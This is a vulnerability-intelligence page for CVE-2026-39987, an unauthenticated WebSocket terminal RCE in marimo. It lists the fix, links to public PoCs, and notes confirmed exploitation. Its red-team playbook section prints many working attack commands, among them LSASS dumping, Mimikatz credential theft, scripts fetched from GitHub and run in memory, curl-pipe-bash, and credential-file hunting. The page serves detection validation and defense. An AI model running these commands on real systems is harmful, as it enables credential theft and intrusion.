CVE-2026-39987
Overview
This vulnerability is an authentication bypass in the marimo reactive Python notebook's WebSocket terminal interface. The root cause lies in the /terminal/ws endpoint, which omits the required authentication validation by skipping the validate_auth() call. Instead, it only verifies the running mode and platform support before establishing connections, exposing the terminal WebSocket to unauthenticated access.
Vulnerability Description
marimo is a reactive Python notebook. Prior to 0.23.0, Marimo has a Pre-Auth RCE vulnerability. The terminal WebSocket endpoint /terminal/ws lacks authentication validation, allowing an unauthenticated attacker to obtain a full PTY shell and execute arbitrary system commands. Unlike other WebSocket endpoints (e.g., /ws) that correctly call validate_auth() for authentication, the /terminal/ws endpoint only checks the running mode and platform support before accepting connections, completely skipping authentication verification. This vulnerability is fixed in 0.23.0.
Impact
An unauthenticated attacker with network access to the marimo server can exploit this flaw to obtain a fully interactive PTY shell, enabling arbitrary command execution on the host system. This requires no user interaction or credentials, as the authentication step is skipped. The attacker can execute system-level commands, potentially leading to full system compromise, data exfiltration, or service disruption. The CVSS vector (AV:N/AC:L/PR:N/UI:N) confirms remote, unauthenticated exploitation with high impact on confidentiality, integrity, and availability.
Solution
Users of marimo should upgrade to version 0.23.0 or later, where the authentication bypass in the /terminal/ws WebSocket endpoint is corrected. Detailed patch information and remediation instructions are available in the official GitHub security advisory GHSA-2679-6mx9-h9xc and the related pull request #9098. Applying the updated version ensures validate_auth() is properly invoked, restoring authentication checks for terminal WebSocket connections.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Coreweave | Marimo | All |
cpe:2.3:a:coreweave:marimo:*:*:*:*:*:python:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
ExploitDB (1)
| Title | Author | Type | Platform | Date | Link |
|---|---|---|---|---|---|
| Marimo 0.20.4 - Remote Code Execution (RCE) | Jason Bernier | webapps | multiple | - | View |
GitHub PoCs (41)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
Th3Purge/CVE-2026-39987
Marimo Pre Authentication RCE
|
Th3Purge | 9 | 0 | 2026-09-08 | View |
|
M3PH1569/CVE-2026-39987-POC
CVE-2026-39987 Exploitation Tool - Marimo < 0.23.0 Pre-Auth RCE (WebSocket)
|
M3PH1569 | 5 | 0 | 2026-05-24 | View |
|
1nt1m4cy/HTB-Cohort
HTB Cohort writeup -- SSRF, Marimo CVE-2026-39987, PackageKit CVE-2026-41651
|
1nt1m4cy | 3 | 0 | 2026-11-04 | View |
|
Nxploited/CVE-2026-39987
marimo is a reactive Python notebook. Prior to 0.23.0, Marimo has a Pre-Auth RCE vulnerability
|
Nxploited | 1 | 1 | 2026-04-18 | View |
|
ashrafzaryouh/CVE-2026-39987
CVE-2026-39987
|
ashrafzaryouh | 0 | 1 | 2026-04-12 | View |
|
LaRemontada12/CVE-2026-39987-Marimo-RCE-SOC-Detection
Security research and SOC investigation of CVE-2026-39987 using Docker, Nginx, Linux process monitoring, Splunk SIEM, an...
|
LaRemontada12 | 1 | 0 | 2026-09-27 | View |
|
0xredash/CVE-2026-39987
CVE-2026-39987
|
0xredash | 0 | 1 | 2026-04-12 | View |
|
LaRemontada12/CVE-2026-39987-Marimo-Preauth-RCE
CVE-2026-39987 Marimo Pre-auth RCE research, Docker lab reproduction, root cause analysis, and patch validation.
|
LaRemontada12 | 1 | 0 | 2026-09-27 | View |
|
LaArana12/CVE-2026-39987-Marimo-Preauth-RCE
Reproduction and root cause analysis of CVE-2026-39987 Marimo pre-auth WebSocket RCE in a local Docker lab.
|
LaArana12 | 1 | 0 | 2026-09-27 | View |
|
Ghxstsec/CVE-2026-39987
PoC for CVE-2026-39987 — pre-auth RCE in Marimo via unauthenticated /terminal/ws WebSocket
|
Ghxstsec | 1 | 0 | 2026-09-01 | View |
|
K3ysTr0K3R/CVE-2026-39987
CVE-2026-39987 — Marimo Pre-Authentication RCE
|
K3ysTr0K3R | 1 | 0 | 2026-08-19 | View |
|
Wind010/CVE-2026-39987_PoC
A proof-of-concept for CVE-2026-39987
|
Wind010 | 1 | 0 | 2026-08-03 | View |
|
rootdirective-sec/CVE-2026-39987-Lab
|
rootdirective-sec | 1 | 0 | 2026-05-04 | View |
|
h3raklez/CVE-2026-39987
Marimo Pre-Auth RCE
|
h3raklez | 1 | 0 | 2026-04-25 | View |
|
keraattin/CVE-2026-39987
CVE-2026-39987: Marimo Python Notebook Pre-Auth RCE (CVSS 9.3). Python & Nmap NSE detection scripts. Missing authenticat...
|
keraattin | 1 | 0 | 2026-04-15 | View |
|
fevar54/marimo_CVE-2026-39987_RCE_PoC
PoC de CVE-2026-39987: RCE pre-autenticacion via WebSocket en Marimo menor a 0.23.0 (CVSS 9.3).
|
fevar54 | 0 | 1 | 2026-04-13 | View |
|
0xBlackash/CVE-2026-39987
CVE-2026-39987
|
0xBlackash | 0 | 1 | 2026-04-12 | View |
|
RockKingdom/Marimo-CVE-2026-39987
Marimo0.24.3
|
RockKingdom | 0 | 0 | 2026-11-21 | View |
|
PoC
|
- | 0 | 0 | - | View |
|
Arnau029/CVE-2026-39987-PoC
CVE-2026-39987-PoC
|
Arnau029 | 0 | 0 | 2026-11-14 | View |
|
0xv01d/CVE-2026-39987
CVE-2026-39987 - Marimo < 0.9.1 Pre-Auth RCE via unauthenticated /terminal/ws WebSocket endpoint
|
0xv01d | 0 | 0 | 2026-11-13 | View |
|
lunacysoft/CVE-2026-39987-POC-Marimo
CVE-2026-39987 POC Marimo
|
lunacysoft | 0 | 0 | 2026-10-24 | View |
|
dntaskmehow/MARABUSE
MARIMO RCE & NKABUSE EXPLOIT FRAMEWORK (CVE-2026-39987) - RE-WEAPONIZED - This framework exploits CVE-2026-39987, a crit...
|
dntaskmehow | 0 | 0 | 2026-10-20 | View |
|
dntaskmehow/MARABUSE-
MARIMO RCE & NKABUSE EXPLOIT FRAMEWORK (CVE-2026-39987) - RE-WEAPONIZED - This framework exploits CVE-2026-39987, a crit...
|
dntaskmehow | 0 | 0 | 2026-10-20 | View |
|
Industri4l-H3ll-Xpl0it3rs/CVE-2026-39987-Marimo-RCE
CVE-2026-39987 Exploit | by infrar3d
|
Industri4l-H3ll-Xpl0it3rs | 0 | 0 | 2026-10-16 | View |
|
mfahdk/CVE-2026-39987_RCE_PoC
|
mfahdk | 0 | 0 | 2026-09-20 | View |
|
julichaan/CVE-2026-39987_POC
Marimo WS Preauth RCE
|
julichaan | 0 | 0 | 2026-09-11 | View |
|
iapetus12/cohort-htb
HTB Cohort - SSRF, Marimo pre-auth RCE (CVE-2026-39987) y PackageKit privesc (CVE-2026-41651)
|
iapetus12 | 0 | 0 | 2026-08-08 | View |
|
stapat1245/CVE-2026-39987-PoC
CVE-2026-39987 Proof of Concept
|
stapat1245 | 0 | 0 | 2026-09-07 | View |
|
dodeepsink/CVE-2026-39987.py
This python script exploit the vulnerable marimo /terminal/ws endpoint and returns a interactive shell.
|
dodeepsink | 0 | 0 | 2026-08-20 | View |
|
matesz44/cve-2026-39987
CVE-2026-39987 PoC: Marimo<0.23.0 Pre-Auth Remote Code Execution via Terminal WebSocket Authentication Bypass
|
matesz44 | 0 | 0 | 2026-08-12 | View |
|
MADA0L/CVE-2026-39987-Poc
Proof of Concept (PoC) WebSocket client for CVE-2026-39987 (Marimo Pre-Auth RCE), intended for authorized security testi...
|
MADA0L | 0 | 0 | 2026-08-10 | View |
|
alreadyClosed/CVE-2026-39987
CVE-2026-39987 for marimo 0.20.4 PoC
|
alreadyClosed | 0 | 0 | 2026-08-07 | View |
|
vanhari/CVE-2026-39987
CVE-2026-39987 poc
|
vanhari | 0 | 0 | 2026-08-02 | View |
|
jasonbernier/CVE-2026-39987
Simple POC for CVE-2026-39987
|
jasonbernier | 0 | 0 | 2026-08-02 | View |
|
gbuyssens/CVE-2026-39987
Marimo exploit prior to 0.23.0. Pre-Auth RCE vulnerability via websocket endpoint : /terminal/ws.
|
gbuyssens | 0 | 0 | 2026-08-02 | View |
|
jenniferreire26/CVE-2026-39987
|
jenniferreire26 | 0 | 0 | 2026-06-02 | View |
|
HORKimhab/CVE-2026-39987
CVE-2026-39987 - Draft
|
HORKimhab | 0 | 0 | 2026-05-30 | View |
|
0xdeadroot/CVE-2026-39987-marimo-rce
CVE-2026-39987
|
0xdeadroot | 0 | 0 | 2026-05-16 | View |
|
Dhiaelhak-Rached/CVE-2026-39987-lab-or-marimo-cve-lab
|
Dhiaelhak-Rached | 0 | 0 | 2026-04-26 | View |
|
mki9/CVE-2026-39987_exploit
|
mki9 | 0 | 0 | 2026-04-13 | View |
Threat Feed
34 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Proof-of-concept code is publicly available for this vulnerability
Active exploitation confirmed with 252 sighting(s)
Public exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Deployed role: Linux · Web Server
Kill chain derived from the ML classifier. Pick the target OS above to see the OS-specific path and matching playbook.
Attack Vectors ML
MITRE ATT&CK Techniques (10)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
124 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
"#{procdump_exe}" -accepteula -mm lsass.exe #{output_file}
$exePath = resolve-path "$env:ProgramFiles\dotnet\shared\Microsoft.NETCore.App\5*\createdump.exe"
& "$exePath" -u -f $env:Temp\dotnet-lsass.dmp (Get-Process lsass).id
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe --silent-process-exit "#{output_folder}"
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe -w "%temp%\nanodump.dmp"
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
try{ IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1003.001/src/Out-Minidump.ps1' -UseBasicParsing) -ErrorAction Stop}
catch{ $_; exit $_.Exception.Response.StatusCode.Value__}
get-process lsass | Out-Minidump
"#{procdump_exe}" -accepteula -ma lsass.exe #{output_file}
C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full
"#{dumpert_exe}"
#{xordump_exe} -out #{output_file} -x 0x41
if (Test-Path -Path "$env:SystemRoot\System32\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\System32\rdrleakdiag.exe"
} elseif (Test-Path -Path "$env:SystemRoot\SysWOW64\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\SysWOW64\rdrleakdiag.exe"
} else {
$binary_path = "File not found"
exit 1
}
$lsass_pid = get-process lsass |select -expand id
if (-not (Test-Path -Path"$env:TEMP\t1003.001-13-rdrleakdiag")) {New-Item -ItemType Directory -Path $env:TEMP\t1003.001-13-rdrleakdiag -Force}
write-host $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
& $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
Write-Host "Minidump file, minidump_$lsass_pid.dmp can be found inside $env:TEMP\t1003.001-13-rdrleakdiag directory."
"#{venv_path}\Scripts\pypykatz" live lsa
#{mimikatz_exe} "sekurlsa::minidump #{input_file}" "sekurlsa::logonpasswords full" exit
IEX (New-Object Net.WebClient).DownloadString('#{remote_script}'); Invoke-Mimikatz -DumpCreds
"#{psexec_exe}" #{remote_host} -accepteula -c #{command_path}
cmd.exe /Q /c #{command_to_execute} 1> \\127.0.0.1\ADMIN$\#{output_file} 2>&1
New-PSDrive -name #{map_name} -psprovider filesystem -root \\#{computer_name}\#{share_name}
cmd.exe /c "net use \\#{computer_name}\#{share_name} #{password} /u:#{user_name}"
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
# creating a custom nslookup function that will indeed call nslookup but forces the result to be "whoami"
# this would not be part of a real attack but helpful for this simulation
function nslookup { &"$env:windir\system32\nslookup.exe" @args | Out-Null; @("","whoami")}
powershell .(nslookup -q=txt example.com 8.8.8.8)[-1]
Powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass -Payload 'C:\Windows\System32\cmd.exe'"
Import-Module "#{mimpath}"
Invoke-Mimikatz -DumpCreds
$url='https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1';$wshell=New-Object -ComObject WScript.Shell;$reg='HKCU:\Software\Microsoft\Notepad';$app='Notepad';$props=(Get-ItemProperty $reg);[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP $reg (Item Variable:_).Value[0] (Variable _).Value[1]};$curpid=$wshell.Exec($app).ProcessID;While(!($title=GPS|?{(Item Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep -Milliseconds 500};While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds 500};$wshell.SendKeys('^o');Start-Sleep -Milliseconds 500;@($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable _).Value)};$res=$Null;While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear();@('^a','^c')|ForEach{$wshell.SendKeys((Item Variable:_).Value)};Start-Sleep -Milliseconds 500;$res=([Windows.Forms.Clipboard]::GetText())};[Windows.Forms.Clipboard]::Clear();@('%f','x')|ForEach{$wshell.SendKeys((Variable _).Value)};If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item Variable:_).Value)}};@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP $reg (Item Variable:_).Value $props.((Variable _).Value)};IEX($res);invoke-mimikatz -dumpcr
Add-Content -Path #{ads_file} -Value 'Write-Host "Stream Data Executed"' -Stream 'streamCommand'
$streamcommand = Get-Content -Path #{ads_file} -Stream 'streamcommand'
Invoke-Expression $streamcommand
powershell.exe -e #{obfuscated_code}
# Encoded payload in next command is the following "Set-Content -path "$env:SystemRoot/Temp/art-marker.txt" -value "Hello from the Atomic Red Team""
reg.exe add "HKEY_CURRENT_USER\Software\Classes\AtomicRedTeam" /v ART /t REG_SZ /d "U2V0LUNvbnRlbnQgLXBhdGggIiRlbnY6U3lzdGVtUm9vdC9UZW1wL2FydC1tYXJrZXIudHh0IiAtdmFsdWUgIkhlbGxvIGZyb20gdGhlIEF0b21pYyBSZWQgVGVhbSI=" /f
iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\AtomicRedTeam').ART)))
$malcmdlets = #{Malicious_cmdlets}
foreach ($cmdlets in $malcmdlets) {
"function $cmdlets { Write-Host Pretending to invoke $cmdlets }"}
foreach ($cmdlets in $malcmdlets) {
$cmdlets}
New-PSSession -ComputerName #{hostname_to_connect}
Test-Connection $env:COMPUTERNAME
Set-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use -Value "T1086 PowerShell Session Creation and Use"
Get-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
Remove-Item -Force $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
iex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)
Invoke-AllChecks
powershell.exe -exec bypass -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText"
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -noprofile "$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load('#{url}');$Xml.command.a.execute | IEX"
C:\Windows\system32\cmd.exe /c "mshta.exe javascript:a=GetObject('script:#{url}').Exec();close()"
import-module "PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1"
try { Invoke-BloodHound -OutputDirectory $env:Temp }
catch { $_; exit $_.Exception.HResult}
Start-Sleep 5
write-host "Remote download of SharpHound.ps1 into memory, followed by execution of the script" -ForegroundColor Cyan
IEX (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1');
Invoke-BloodHound -OutputDirectory $env:Temp
Start-Sleep 5
#{soaphound_path} --user $(#{user})@$(#{domain}) --password #{password} --dc #{dc} --buildcache --cachefilename #{cachefilename}
#{soaphound_path} --user #{user} --password #{password} --domain #{domain} --dc #{dc} --bhdump --cachefilename #{cachefilename} --outputdirectory #{outputdirectory}
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
ldapdomaindump -u #{username} -p #{password} #{target_ip} -o /tmp/T1087
ldapsearch -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{user} -w #{password} -b "CN=Users,DC=#{domain},DC=#{top_level_domain}" -s sub -a always -z 1000 dn
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc admincountdmp #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc exchaddresses #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=person) #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -default -s base lockoutduration lockoutthreshold lockoutobservationwindow maxpwdage minpwdage minpwdlength pwdhistorylength pwdproperties
Invoke-Expression "#{adrecon_path}"
([adsisearcher]"objectcategory=user").FindAll(); ([adsisearcher]"objectcategory=user").FindOne()
csvde -f users.csv -r "(&(objectClass=user)(objectCategory=person))" -l "DN,sAMAccountName,userPrincipalName,mail,displayName,description,memberOf"
Get-ADObject -LDAPFilter '(UserAccountControl:1.2.840.113556.1.4.803:=#{uac_prop})' -Server #{domain}
net user administrator /domain
(([adsisearcher]'(objectcategory=organizationalunit)').FindAll()).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] OU Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
(([adsisearcher]'').SearchRooT).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] Domain Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
net user /domain
net group /domain
net user /domain
get-localgroupmember -group Users
get-aduser -filter *
query user /SERVER:#{computer_name}
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -verbose
cd "PathToAtomicsFolder\..\ExternalPayloads"
.\kerbrute.exe userenum -d #{Domain} --dc #{DomainController} "PathToAtomicsFolder\..\ExternalPayloads\username.txt"
Get-ADComputer #{hostname} -Properties *
Get-adcomputer -SearchScope subtree -filter "name -like '*'" -Properties *
Get-ADComputer #{hostname} -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" *
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
$target = $env:LOGONSERVER
$target = $target.Trim("\\")
$IpAddress = [System.Net.Dns]::GetHostAddresses($target) | select IPAddressToString -ExpandProperty IPAddressToString
wmic.exe /node:$IpAddress process call create 'wevtutil epl Security C:\\ntlmusers.evtx /q:\"Event[System[(EventID=4776)]]"'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
generaldomaininfo -noninteractive -consoleoutput
xcopy /I /Y "#{web_shells}" #{web_shell_path}
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
News (2)
Mentions (50)
1 mention from 1 source in the last 7 days BuzzFactor 2 / 100
-
code github.com RockKingdom 2026-11-21 01:29 UTCRockKingdom/Marimo-CVE-2026-39987Open source
-
